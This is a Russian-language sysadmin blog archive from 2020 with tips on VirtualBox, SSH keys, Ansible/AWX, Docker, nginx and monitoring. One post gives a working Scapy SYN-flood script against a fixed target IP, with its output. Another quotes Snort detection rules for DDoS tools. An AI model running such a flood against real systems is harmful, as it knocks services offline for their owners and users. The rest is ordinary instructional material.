Thursday, 24 September 2020

Наш нежный VirtualBox.

Всем привет.

Быстренько поменяв очередную железку и восстановив по памяти все свои тулзы я уже было заварил кофе, но меня ожидал подвох со стороны VirtualBox - на первой же ВМ ошибка запуска E_FAIL 0x80004005. Потыкав мышкой туда сюда, подозрительно посмотрев на грозное сообщение я обнаружил что любая ВМ валится с таким же сообщением. Это меня малость успокоило.


Беглый обзор в сети показал что, как правило, Virtualbox вылетает с ошибкой E_FAIL 0x80004005 из-за того, что программе по какой-то причине не удалось сохранить состояние вашей виртуальной машины в файл с расширением .vbox. Причин, почему это произошло – множество. Например, он мог быть поврежден или использован во время сохранения состояния для какой-то иной цели. В общем, VirtualBox попытался загрузить состояние ВМ из vbox-файла, но ничего не вышло и он выдал ошибку. Однако, стоит заметить, что ошибка виртуальной машины E_FAIL 0x80004005 могла возникнуть также из-за ряда других причин: конфликтующее с VirtualBox обновление для операционной системы, отключенная функция виртуализации в BIOS или нестабильная версия самой программы VirtualBox. И т.п.

Поскольку я переносил ВМ со старого ПК то в состоянии самих файлов vbox и vdi был уверен на 99%. Поэтому я решил проверить окружение.

Что я проверял? Прежде всего убедитесь что в Windows 10 отключены опции "Hyper-V" и "Песочница". Увы,  но Virtualbox до сих пор (версия 6.0.12)  с ними не совместима. Далее проверьте что ваш антивирусник не блокирует Virtualbox. Убедитесь что служба "VirtualBox system service" работает нормально. Убедитесь что в BIOS вашего ПК включена поддержка виртуализации. Однако даже после всего этого ошибка оставалась. И тут я обратил внимание что мой антивирусник хочет фокусировать мое внимание на чрезмерной активности предустановленного фирменного софта от НР - НР Sure Sense. Рядом с ним были размещены еще пять софтин, которые идут в комплекте. Так как у меня был другой антивирусник, то я сделал выбор в пользу первого и решил снести  НР Sure Sense.

И ура, моя VirtualBox ожила. Таким образом, я получил ситуацию когда искусственный интеллект для обнаружения вредоносных программ от НР перестарался.

Успехов.

Monday, 21 September 2020

SSH-клиент и РРК-файл.

Всем привет.

Очевидно что работая с удаленным доступом с серверами которые ближе, или которые в облаках всегда нужно вводить свой пароль админа. Но это не есть хорошо. Лучше один раз создать SSH-пару ключей и использовать их в дальнейщей работе. 

Ключи создаются просто. При этом в ваше распоряжение попадает приватный ключик в виде РЕМ-файла. PEM - наиболее популярный формат среди сертификационных центров. PEM сертификаты могут иметь расширение .pem, .crt, .cer, и .key (файл приватного ключа). Он представляют собой ASCII файл, закодированный по схеме Base64. 

Однако  популярные SSH-клиенты Putty, и WinSCP, любят другой формат открытого ключа который отличается от формата OpenSSH. Он называется РРК.

Нет проблем чтобы преобразовать файл .pem в .ppk-файл с помощью инструмента командной строки puttygen:

$ puttygen keyfile.pem -O private -o Maxkey.ppk

Для открытого ключа:

$ puttygen keyfile.pem -L

После надо обязательно в самом SSH-клиенте Putty, илиWinSCP,  или MobaXTerm  указать путь к новому файлу ключа. Сам он его не найдет.





На этом все.

Sunday, 13 September 2020

Блогу 10 лет!

Всем привет!

Сегодня заметка будет ни о чем. Другими словами о моем Блоге, нам сегодня ровно 10 лет! 

Ровно 10 лет тому я нечаянно написал свой первый пост, пост про кинематограф. Не могу вспомнить что меня натолкнуло на тему поста и почему я для этого создал блог. Но так было. Факт имеет место быть.

Что самое ценное за эти десять лет? Я его не бросил. Это самое ценное и это удивительно. Ибо он не является моим, прямо скажем, основным хобби, но идей, желаний их внедрить и материала для него у меня хватает до сих пор.

За 10 лет я написал 900 постов. Хм, надо было бы еще сотню накинуть, но я не гоняюсь за показателями. На эту неполную тысячу постов пришло более 700 тысяч читателей. Могло быть и больше, но чуть ранее я закончил заниматься активным SEO. Т.е. мой блог живет чисто на индексации новых постов.

Спасибо всем кто меня до сих пор читает, два раза спасибо тем кто мне еще и вопросы задает. 

Спасибо и тебе мой Блог что держишь меня в тонусе и заставляешь систематически заглядывать в нечто новое. Обещаю и дальше поддерживать тебя и, ествественно,  себя в актуальной форме.

С праздником тебя и до следующего юбилея в 2030-м!

Saturday, 12 September 2020

Утилита BGinfo - помощник администратора.

Всем привет! 

Суметь выудить у пользователя нужную информацию по его проблеме непросто. Сегодня я вам подскажу как улучшить взаимодействие между пользователем и специалистом технической поддержки или системным администратором. Самое ценное для нас это знать где эта проблема обитает, т.е. на каком хосте. Да, можно начать с ФИО пользователя которое он часто не сообщает, далее пройтись в AD, там найти его учетку сопоставить с IP-адресом и т.п. Долго! Много движений мышкой, а рука может быть занятой трубкой телефона, пользователи ведь так любят чтобы  с ними говорили голосом...

Решение есть - популярная утилита BGinfo.

BGInfo - это маленькая утилита входящая в состав всем известного пакета Sysinternals от Марка Русиновича. Как вы поняли в ее задачи входит отображение на рабочем столе, некой полезной системной информации.

Сколько раз вы заходя в систему на своем рабочем компьютере получали ситуацию, что вам нужно было щелкнуть несколько диагностических окон, чтобы раскрыть его DNS имя, IP-адрес или версию операционной системы? Если таких компьютеров за сотню то вам нужен BGInfo. Он автоматически отображает соответствующую информацию о компьютере Windows на фоне рабочего стола, такую как имя компьютера, IP-адрес, версия пакета обновления, размер дисков, любые другие WMI данные и т. д. Вы можете редактировать любое поле, шрифт и цвета фона, можете поместить его в папку автозагрузки, чтобы он запускал каждую загрузку, или даже настроить его для отображения в качестве фона для экрана входа в систему. Поскольку BGInfo просто записывает новое настольное растровое изображение и завершает работу, вам не нужно беспокоиться о том, что он потребляет системные ресурсы или мешает другим приложениям.

Думаю достаточно рекламы. Как ее внедрить в систему показано здесь и и здесь.

Friday, 11 September 2020

Система обнаружения вторжений и Scapy.

Всем привет.

Продолжим, сегодня пощупаем  cистему обнаружения вторжений с помошью Scapy.

Система обнаружения вторжений (IDS) - очень ценный инструмент в руках грамотного налитика. Сетевая система обнаружения вторжений (NIDS) может анализировать трафик в реальном времени за счет регистрации пакетов в IP-сетях. Путем сопоставления пакетов на базе известного набора вредоносных сигнатур IDS может предупредить сетевого аналитика про атаку, прежде чем она произойдет. Например, система SNORT IDS поставляется со множеством различных правил, способных обнаруживать разные типы эксплоитов и атак типа "отказ в обслуживании" среди большого разнообразия других векторов атак. Изучив содержимое одного из этих правил, мы можем увидеть четыре признака обнаружения TFN, tfn2k и Trin00. Когда злоумышленник использует TFN, tfn2k или Trin00 против цель, IDS обнаруживает атаку и предупреждает аналитика. Однако что происходит когда аналитики получают больше предупреждений, чем они могут физически обработать? Они теряют свою сноровку и могут упустить важную деталь атаки.

victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;

classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp

possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00

Daemon to Master PONG message detected"; content:"PONG";

reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;

reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

Wednesday, 9 September 2020

Технология Artemis от McAfee.

Всем привет. 

Есть такая технология Artemis от McAfee которая использует для обнаружения вредоносного ПО не локальную базу данных, а онлайновое хранилище цифровых подписей, обновляющееся практически в режиме реального времени. При выявлении подозрительного объекта система Artemis связывается с центральными серверами и проверяет, не представляет ли этот файл угрозы для пользователя. Весь процесс занимает минимум времени и никак не отражается на быстродействии клиентской системы. 

Но вот с ее сообщениями надо быть на чеку. Недавний тест показал что Artemis может путать пользователя. Взгляните на сообшение внизу. Artemis отработал, но дело в том что файла с таким именем в той папке никогда не было. Там был другой исполняемый файл, который и был убит.
Такие дела.

Monday, 7 September 2020

Генерация SYN flood пакетов в Scapy.

Всем привет.

А наша Scapy не такая безобидная как кажется. Генерация атаки TCP SYN flood в Scapy оказывается простой задачей. Вот так мы создаем IP-пакеты с уровнем протокола TCP с увеличивающимся номером порта источника TCP и с постоянным портом назначения TCP 513.

from scapy.all import *

def synFlood(src, tgt):

for sport in range(1024,65535):

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=sport, dport=513)

pkt = IPlayer / TCPlayer

send(pkt)

src = "10.1.1.2"

tgt = "192.168.1.3"

synFlood(src,tgt)

Запуск отправляет TCP SYN, чтобы исчерпать ресурсы хоста, заполняя очередь подключения и, по сути, приводит к неспособности цели отправлять в ответ пакеты сброса TCP. Действительно просто.

admincore# python synFlood.py

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

<..SNIPPED..>

Про Scapy будет еще.

Saturday, 5 September 2020

Изучаем Ansible.

Всем привет.

Среди множества систем управления конфигурациями Ansible обладает неоспоримыми преимуществами. Он минималистичен, не требует установки программного обеспечения(агента) на узлах, легок в освоении, быстро развивается. Все так и есть. Мое знакомтсво с ним началось с видео-лекций Наташи Самолейнко и Дениса Астахова. У Наташи ударение делается на управление активным оборудованием, у Дениса - на линукс и облака. Такими темпами не далек тот момент когда Ansible будет управлять вашим холодильником.

Кроме видео-лекций и практических тестов мне помогает изучение книг. Чаще электронных. Хоршее продолжение в изучении Ansible дает книга "Полное руководство Ansible", 3 изд. авторов Джеймс Фриман и Джесс Китинг, Copyright © 2019 Packt Publishing.

С первой книгой во многом перекликается новая книга "Практическая автоматизация предприятия в Linux" Джеймса Фримана, Copyright © 2020 Packt Publishing. Однако и в ней много полезного и нового.

Из бумажных вариантов могу посоветовать русский перевод "Запускаем Ansible" издательства "ДМКПресс" 2018 года. Автор: Мозер Р., Хоштейн Л. Оригинальное название: "Ansible: Up and Running" В книге подробно с примерами (код есть на сайте издательства) изложены способы автоматизации управления конфигурациями и развертывания приложений.

Второе издание книги научит вас выстраивать продуктивную работу в кратчайшие сроки, будь вы разработчик, разворачивающий код в производственной среде, или системный администратор в поисках более эффективного решения для автоматизации.

Авторы книги расскажут вам, как написать сценарий (скрипт управления конфигурациями Ansible), установить контроль над удаленными серверами, а также задействовать мощный функционал встроенных декларативных модулей. Вы поймете, что Ansible обладает всеми функциональными возможностями, которые вам необходимы, и той простотой, о которой вы мечтаете.

• Узнайте, чем Ansible отличается от других систем управления конфигурациями

• Используйте формат файлов YAML для написания собственных сценариев

• Изучите пример полного сценария для развертывания нетривиального приложения

• Администрируйте машины Windows и автоматизируйте конфигурацию сетевых устройств

• Производите развертывание приложений на Amazon EC2 и других облачных платформах

• Используйте Ansible для создания образов Docker и развертывания контейнеров Docker

И в качестве солидного бонуса я бы советовал добавить себе в копилку книгу Эрика Чоу "Полное руководство работы с сетями на Python", Copyright © 2017 Packt Publishing.

Успехов.

Friday, 4 September 2020

Разбор траффика DNS в Scapy.

Всем привет.

Продолжаем опыты со Scapy. Рассмотрим разбор траффика DNS.

Когда мы исследуем запросы протокола DNS в Scapy, мы видим поля которые включены в каждый пакет. DNSQR содержит название запроса (qname), его тип (qtype) и класс (qclass). Для нашего запроса выше мы просим адрес IPv4 для whitehouse.com, который нужно разрешить, делая поле qname равно whitehouse.com. DNS-сервер отвечает добавлением DNSRR который содержит имя записи ресурса (rrname), тип (тип), ресурс класс записи (rclass) и TTL. Зная, как работают fast-flux и domain-flux, теперь мы можем написать несколько скриптов Python и с помощью Scapy провести анализ и выявление подозрительного DNS-траффика.

analyst# scapy
Welcome to Scapy (2.0.1)
>>>ls(DNSQR)
qname : DNSStrField = ('')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>>ls(DNSRR)
rrname : DNSStrField = ('')
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = ('')

Европейское агентство сетевой и информационной безопасности предоставляет отличный ресурс для анализа сетевого трафика. Они предоставляют Live DVD ISO-образ который содержит несколько сетевых дампов и упражнений к ним. Вы можете скачать копию с http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvdiso-images.
Кроме того, вы можете захотеть заразить виртуальную машину шпионским или вредоносным ПО. и безопасно исследовать трафик в контролируемой лабораторной среде, прежде чем продолжить. Для наших целей предположим, что теперь у нас есть сеть, захваченная в файл с именем fastFlux.pcap, который содержит некоторый DNS-трафик, который мы хотим проанализировать.

Thursday, 3 September 2020

SSL доступ к AWX.

Всем привет.

Думаю будет полезным использовать SSL для доступа к AWX. Проще всего сделать это через отключение порта 80 в межсетевом экране от внешнего мира и поставить перед ним некую настройку разгрузки SSL. Это может быть балансировщик нагрузки, обратный прокси или даже известная утилита stunnel. Например, если мы установили AWX в Ubuntu, то можем сделать так.

Прежде всего мы установим NGINX:
sudo apt install nginx

Затем мы воспольземся неким сертификатом SSL для его применения в NGINX. Если у вас такой имеется, скопируйте этот сертификат и связанный с ним общедоступный ключ в следующие местоположения:
- cертификат: /etc/pki/tls/certs/mastery.example.com.crt
- общедоступный ключ: /etc/pki/tls/private/awx-master.forza.com.key

Если у вас нет сертификата SSL, вы запросто можете сгенерировать некий с самостоятельной подписью для выполнения данного примера при помощи такой команды:
openssl req -x509 -nodes -newkey rsa:4096 -keyout /etc/pki/tls/private/awx-master.forza.com.key -out /etc/pki/tls/certs/awx-master.forza.com.crt -days 3650 -subj "/C=GB/CN=awx-master.forza.com"

Имя сертификата должно соответствовать имени хоста вашей системы AWX.

После того как вы поместили на своё место сертификат, создайте файл /etc/nginx/conf.d/awx.conf со следующим содержанием:
server {
  listen 443 ssl;
  server_name awx-master.forza.com;
ssl on;
  ssl_certificate /etc/pki/tls/certs/awx-master.forza.com.crt;
  ssl_certificate_key /etc/pki/tls/private/awx-master.forza.com.key;
location / {
  proxy_pass http://127.0.0.1:80;
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-Proto $scheme;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 }
}

Wednesday, 2 September 2020

Переадресация почты в Outlook.

Всем привет.

Оказывается пользователь Outlook имеет больше возможностей по управлению потоками своих писем чем думает. Или ему просто лень это использовать. Возьмем самое простое - делегирование корпоративной почты на время своего отпуска. Тут даже администратор не нужен.

Итак вариант desktop-a.

1. Заходим в закладку «Файл» и выбираем «Управление правилами и оповещениями»



2. Далее нажимаем на закладку «Создать правило».
3. Открывается «Мастер правил». Выбираем «Применить правило полученным мной сообщений» и нажимаем «Далее».


Tuesday, 1 September 2020

Мониторинг поля TTL с помощью Scapy.

Всем привет.

Сетевая библиотека Scapy имеет много возможностей. Давайте разберем пару реальных кейсов из книги Violent Python Book.

Мониторинг значения поля TTL.

Давайте создадим скрипт для вывода исходного IP-адреса и TTL из входящих пакетов. Будет легче написать этот код с помощью dpkt. Мы создаем функцию для прослушивания и передачи каждого отдельного пакета функции testTTL(), которая проверяет каждый пакет на уровне IP, извлекая IP-адрес источника и значение TTL поля и выводит эти данные на экран.

from scapy.all import *
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print '[+] Pkt Received From: '+ipsrc+' with TTL: ' \
+ ttl
except:
pass
def main():
sniff(prn=testTTL, store=0)
if __name__ == '__main__':
main()

Запускаем:

analyst# python printTTL.py
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13

Запустив наш код, мы получим довольно много пакетов от разных адресов с разными TTL. Эти результаты также включают заготовленную ловушку сканирования с адресом 8.8.8.8 и TTL равным 13. Как мы знаем, TTL должен быть 64 минус 11 = 53 прыжка, т.е. мы можем утверждать, что кто-то их подделал. Это важно отметить, что системы Linux обычно запускаются с начальным TTL равным 64, системы на базе Windows начинают с TTL равным 128. В целях эскперимента мы предположим, что анализируем только IP-пакеты с рабочих станций Linux, сканирующих нашу сеть, поэтому давайте добавим функцию для проверки полученного TTL против фактического TTL.

Наша функция checkTTL() принимает исходный IP-адрес с соответствующим TTL в качестве входных данных и выводит сообщение о недопустимых значениях TTL. Мы будем использовать условное выражение для удаления пакетов с частных IP-адресов (10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255 и 192.168.0.0–192.168.255.255). Для этого импортируем библиотеку IPy. Чтобы избежать IP конфликтующих с IP-адресом класса Scapy, мы переклассифицируем его как IPTEST. Если файл IPTEST(ipsrc). iptype () возвращает "PRIVATE", мы возвращаемся из нашей функции checkTTL, игнорируя пакет для дальнейшей проверки.

Wednesday, 26 August 2020

Chrome с пустой белой страницей.

Всем привет.

Ко мне обратился пользователь что его web-браузер Google Chrome запускается с полностью пустой белой страницей. Таким образом, Chrome отображает пустые вкладки всех ранее открытых страниц. То есть вкладка на пустой странице не содержит сообщений об ошибках и не дает возможности ничего сделать, кроме как закрыть браузер как приложение в целом.

В сети я нашел ряд решений с которыми пользователи исправили у себя ошибку белого экрана Chrome. Некоторые из них у меня вызвали удивление, ибо сделать то что там предлагается по сути невозможно - не забывайте что экран то белый.

Вот первые три:
1. Отключить аппаратное ускорение.
3. Сбросить браузер.
По всем троим даются указания прохождения по пунктам меню Chrome. Но мы же помним что экран совсем белый! Как снег.

4. Отредактируйте ярлык запуска Google Chrome.
Действительно доступный способ, который реально может помочь. В этих обстоятельствах надо добавить в конце ключик --disable-GPU. Сразу же после удачного запуска следует пройтись по установленным расширениям (chrome://extensions/) и отключить лишние.


5. Переустановите Google Chrome.
Ну это просто суперский способ исправить ошибку. Имеет место быть поэтому оставлю его без комментариев.

Удачи.

Friday, 21 August 2020

Метрики мониторинга.

Всем привет.

Вкратце шпаргалка какие метрики мониторяться и как в инфраструктуре предприятия.



Метрики хоста:
  • CPU
  • Memory
  • Processes
  • Disk
  • Network
Чем мониторим?
  • Агенты мониторинга системы мониторинга:
  • Zabbix-Agent
  • Более универсальные инструменты с плагинами:
  • сollectd
  • telegraf
  • NetData
  • Сервисы cloud-платформы:
  • Stackdriver (GCP)
  • CloudWatch (AWS)
Метрики сервера:
  • CPU
  • RAM
  • Disk
  • Network
  • Security
Чем мониторим?
  • zabbix-agent на сервере + штатные шаблоны Zabbix
  • Prometheus Node exporter
Web-сервер:
  • Статус сервиса веб-сервера
  • Доступность портов
  • RPS (Requests Per Second) 
  • HTTP коды завершения
  • Ошибки веб-сервера
  • SSL сертификаты
  • Время отклика
Чем мониторим?
  • zabbix-agent на сервере + штатные шаблоны Zabbix
  • Simply check с сервера Zabbix
  • Web сценарии с одного из хостов в мониторинге
  • Кастомные пользовательские параметры (UserParameter)
  • Сообщения в логах
Сервер приложений:
  • Статусы сервисов
  • RPS (php, redis, rabbitMQ, прочие)
  • Использование буфера
  • Использование очереди
  • Количество и статус процессов
  • Ошибки сервисов в логах
Чем мониторим?
  • zabbix-agent на сервере + штатные шаблоны Zabbix
  • Simply check с сервера Zabbix
  • Кастомные пользовательские параметры
  • Сообщения в логах
База данных:
  • Cтатус сервиса базы
  • Статус репликации
  • Seconds behind master
  • RPS
  • Объем операций
  • Размеры буферов
  • Аналитика запросов
Чем мониторим?
  • zabbix-agent на сервере + штатные шаблоны Zabbix
  • Кастомные пользовательские параметры
  • Сообщения в логах
Метрики Docker-контейнеров:
  • CPU
  • Memory
  • Network
  • Block I/O
  • Docker Daemon
Чем мониторим?
  • Docker stats
  • cAdvisor
  • Heapster
  • collectd
Метрики сервисов:
  • БД, очереди
  • Load balancer
  • Сервер приложения
  • Сторонние сервисы
  • Все, от чего зависит стабильность работы вашего продукта
Как выбрать что собирать и анализировать?

USE-Method от Brendan Gregg. Больше подходит для выбора инфраструктурных метрик:
  • Utilization (использование), например загрузка диска
  • Saturation (насыщение), например очередь диска
  • Errors (ошибки), например ошибки I/O диска
RED-метод. Больше подходит для выбора метрик приложений и сервисов:
  • Rate - запросы в секунду
  • Errors - ошибок в секунду
  • Duration - время на каждый запрос
Four Golden Signals от Google (принцип  выбора  метрик,  описанный  в
книге Site Reliability Engineering от Google):
  • Latency - время ответа
  • Traffic - частота запросов
  • Errors (ошибки) - частота ошибок
  • Saturation (насыщение) - насколько утилизирован ресурс
Бизнес-метрики:
  • посещения
  • конверсия
  • продажи
  • скачивания приложения
Как мониторим?
  • Кастомные пользовательские параметры
  • Вычисляемые элементы данных.


Thursday, 20 August 2020

Эффективный пользователь в Blogger.

Всем привет.

Google наc порадовал новым видом интерфейса админ-панели Blogger-a. Да, стало выглядеть все красивее и даже в ногу со временем. Если кому не в тему (вот как мне) то можно вернуться на старый вариант. Однако Google предупредил что старый вариант все равно скоро умрет. Поэтому привыкайте к новому. Но за время переключения внешнего вида Google задел еще кое-что.

Например, теперь я при каком-либо изменении в HTML-коде шаблона  блога получаю следующее:
-com.google.ads.syn.auth.caller.AuthenticationException: 
PERMISSION_ERROR: The requested main account is not accessible to the effective user com.google.ads.syn.auth.server.exception.AuthenticationException: PERMISSION_ERROR: The requested main account is not accessible to the effective user.

Что говорит о том что код шаблона может трогать только "эффективный" пользователь, в моем случае это автор рекламного блока AdSense. Поэтому проследите чтобы этот автор был занесен в Администраторы вашего блога.

Как-то так.

Wednesday, 19 August 2020

WebUI для управления Docker.

Всем привет.

Ностальгия по красивому GUI не отпускает даже при работе с Docker. Но оказывается что благодаря инструменту Portainer можно легко управлять и контейнерами (образами, сетями, сервисами и пр.) на локальном или удаленном docker-хосте (в том числе Swarm-кластере).

Еще одна крайне полезная особенность Portainer‘а - поддержка шаблонов приложений (Application Templates), с помощью которых можно в один клик мышью развернуть все необходимые сервисы для WordPress или MySQL. 

Эти и другие возможности инструмента Portainer можно получить без каких-либо настроек с помощью однострочной команды:

docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer

После проделанных действий можно перейти в браузере по адресу http://ip_address:9000, установить пароль администратора и выбрать docker-хост (в нашем примере - локальный), которым будет управлять Portainer.

Tuesday, 18 August 2020

Оптимизация размеров образов Docker.

Всем привет.

Образы Docker могуть быть очень большими. Многие легко превышают 1 Гб в размере. Как они становятся такими? Должны ли они быть такими? Можем ли мы сделать их меньше, не жертвуя функциональностью?

Все дело в слоях. Образ Docker  похож на супер бигмак, где каждый инградиент этажности увеличивает его массу в килобайтах. Концепция слоев затрагивает различные низкоуровневые технические детали о вещах вроде корневой файловой системы (rootfs), механизма копирования при записи (copy-on-write) и каскадно-объединенного монтирования (union mount). Эта азбука достаточно хорошо раскрыта в другом месте, поэтому я не буду пересказывать ее здесь. Для Важным является понимание того, что каждая инструкция в Dockerfile приводит к созданию нового слоя образа. Бутерброд одним словом!

Зная, что образ - это не что иное, как коллекция других образов, можно прийти к очевидному выводу: размер образа равен сумме размеров образов, его составляющих.

Посмотрим на вывод команды docker history imagename:

$ docker history aformat

IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT

d1ea947a9058        6 days ago                                                          119MB               merge sha256:f1fe0e102e804d28b6ae83ba4a3d1beb730eaea48aefc5b4510a3e03e5fe1c76 to sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e

<missing>           6 days ago          /bin/sh -c tree -L 1                            0B                  

<missing>           6 days ago          /bin/sh -c echo "******************* Hello w…   0B                  

<missing>           6 days ago          /bin/sh -c rm -rf /var/cache/apk/*              0B                  

<missing>           6 days ago          /bin/sh -c apk add tree                         0B                  

<missing>           6 days ago          /bin/sh -c apk add git && apk add npm && apk…   0B                  

<missing>           10 days ago         /bin/sh -c apk --no-cache add --update bash     0B                  

<missing>           10 days ago         /bin/sh -c #(nop)  MAINTAINER Nyukers <nyuke…   0B                  

<missing>           2 months ago        /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B                  

<missing>           2 months ago        /bin/sh -c #(nop) ADD file:c92c248239f8c7b9b…   5.57MB           

Мы можем увидеть все слои образа aformat вместе с командами, которые привели к их созданию, и их размером.

Что же следует учесть для уменьшения размера образа Docker?

Thursday, 13 August 2020

Клиент командной строки Tower-cli для AWX.

Всем привет.

Как запустить задание, используя только программный интерфейс AWX?

Конечно, можно было бы ограничиться лишь инструментом cURL для выполнения этих и других операций из командной строки по протоколу НТТР, но в Апsible имеется намного более удобный инструмент: Tower-cli.

В отличие от приложения Апsible Тower, клиент командной строки Tower-cli является открытым программным обеспечением и доступен в репозитории GitHub на условиях лицензии АрасНе 2.0 и совместим с AWX.

Чтобы установить Tower-cli, воспользуемся диспетчером пакетов для Руthоп рiр3.

Клиента tower-cli можно установить на уровне системы, если имеются привилегии гооt, или, как в данном случае, для локального пользователя:

sudo pip3 install ansible-tower-cli

Если установка выполняется с привилегиями обычного пользователя, клиент будет установлен в каталог ~/.lосаl/bin/. 

Не забудьте добавить путь ~/.lосаl/bin в переменную окружения РАТН.

Прежде чем взаимодействовать с АРI, нужно настроить параметры учетной записи доступа к AWX:

# tower-cli config host http://192.168.3.151

# tower-cli config username admin

# tower-cli config password pAssw0rd

# tower-cli config verify_ssl False

Проверка конфигурации:

# tower-cli config

Первое, что нам наверняка понадобится автоматизировать, это запуск задания из шаблона после успешной сборки на сервере непрерывной интеграции.

Клиент tower-cli существенно упрощает эту задачу. Достаточно лишь знать идентификатор или имя шаблона задания, которое требуется запустить. 

Tuesday, 11 August 2020

Защита resolv.conf.

Всем привет.

Я использую Ubuntu 20.04 и вручную прописал свои DNS сервера в /etc/resolv.conf

Но он наглым образом перезаписывается после перезагрузки Ubuntu. Причины этого легко находятся в сети, но самый быстрый способ решить эту проблему это добавить resolvconf:

sudo apt install resolvconf

Итак, resolv.conf перезаписывается, но если вы хотите сохранить конфигурацию resolv.conf после перезагрузки, вам нужно отредактировать теперь кое-что в /etc/resolvconf/resolv.conf.d/*: 

Заносим в head ваши данные:

search mydomain.com

domain mydomain.com

nameserver 192.168.1.83

nameserver 192.168.1.84

options edns0

Заносим в base:  пока оставляю пустым.

Заносим в tail:

nameserver 8.8.8.8

Т.е. в итоге получаем resolv.conf = head + base + tail.

Затем регенерируем новый resolv.conf с помощью resolvconf:

sudo resolvconf -u

sudo dpkg-reconfigure resolvconf

dynamic update - no

systemctl disable systemd-resolved

Перегружаемся и проверяем наш resolv.conf. 

Получилось!


Friday, 7 August 2020

Синхронизация любой папки между OneDrive и Windows.

Всем привет.

Мы в курсе что OneDrive - это бесплатное онлайн-хранилище, которое поставляется вместе с Windows 10 и используется с вашей учетной записью Microsoft. После сохранения файлов в OneDrive вы можете получить к ним доступ с любого ПК, планшета или телефона. 

Однако по умолчанию синхронизация с вашим ПК происходит только через папку "%UserProfile%\OneDrive" Но что делать если я хочу синхронизировать на мое облако другую папку Windows?

Самый простой способ это создать символическую ссылку на другую папку в  "%UserProfile%\OneDrive". Например я хочу чтобы все что попадает в папку Downloads на диске D синхронизировалось с моим OneDrive. Для этого в командной строке нужно ввести  (прав пользователя вполне достаточно):
mklink /j "%UserProfile%\OneDrive\Downloads" "D:\Downloads"
и нажать Enter.

После выполнения команды появится надпись что соединение создано и копия папки Downloads появится в папке OneDrive и все содержимое будет синхронизировано с облачным хранилищем. Т.е. перетечет туда. Если я удаляю что-то из папки Downloads на диске D, оно также удаляется с папки OneDrive, если что-то удаляется с папки Downloads на OneDrive, то он также исчезнет и в D:/Downloads.

Еще одно - используйте поменьше русских букв и пробелов в названии папок. Есть ограничения в 250 символов латынью, а если это кириллица то ограничения в 2 раза меньше, причем в это число входят и названия всех папок по вложенности и название последнего файла.

Удачи.

Wednesday, 5 August 2020

AWX - первый старт.

Всем привет.

Используя время от времени Ansible ссылки из сети тебя перекидывают на AWX. Что за зверь такой?  Если просто то AWX это GUI для Ansible. AWX впервые был представлен в сентябре 2017 года - это open source проект, распространяющийся под лицензией Apache-2.0 и являющийся апстримом для коммерческого проекта Ansible Tower. 

AWX ставит своей целью решение тех задач, которые связаны с автоматизацией Ansible в неком окружении предприятия. В небольшой среде с реализованным Ansible вы можете обладать всего одним или парой ключевых людей, которые отвечают за написание и запуск плейбуков для установленного окружения. При таком небольшом сценарии довольно просто узнать кто какие плейбуки запускал и какова самая последняя версия, а также требования к обучению Ansible невелики, поскольку лишь небольшое количество ключевого персонала отвечает за их использование.

По мере масштабирования среды до размеров предприятия то же самое происходит и с операторами Ansible. Когда все те, кто отвечает за исполнение Ansible имеют его установленным на свои собственные машины, причём все они обладают копиями установленных плейбуков, внезапно само управление таким окружением превращается в ночной кошмар! Как вы сможете знать что все применяют самые последние версии плейбуков? Откуда вы узнаете кто что запускал и каков результат? Что если изменения потребуют долгих часов? Можете ли вы передать задания Ansible в команду NOC (Network Operations Center) или это невозможно, так как им потребуется обучение тому как применять Ansible?

AWX ставит своей целью решение всех перечисленных задач, и AWX способен снизить стоимость обучения вашего персонала.

Основные возможности AWX:

  • Интеграция с системами контроля версий (git/mercurial/subversion).
  • Отслеживание статуса выполнения плейбуков в реальном времени.
  • Настройка расписания для автоматического запуска плейбуков.
  • Выполнение нескольких плейбуков в рамках одного workflow.
  • Удаленное выполнение команд без плейбуков (Ansible ad hoc).
  • Поддержка механизма callbackов, позволяющих новым серверам запрашивать конфигурации со своей стороны.
  • Управление Inventory для Ansible, в том числе с возможностью интеграции с платформами AWS/Azure/OpenStack и т.д., а также поддержка собственных скриптов для генерации Dynamic Inventory.
  • Гибкая система разграничения прав доступа. Интеграция с LDAP/SAML/Active Directory и т.д.
  • Встроенная поддержка уведомлений для Email/Slack/PagerDuty/HipChat/MatterMost/IRC.
  • Интеграция с внешними системами агрегации логов: Logstash/Splunk/Loggly/Sumologic.

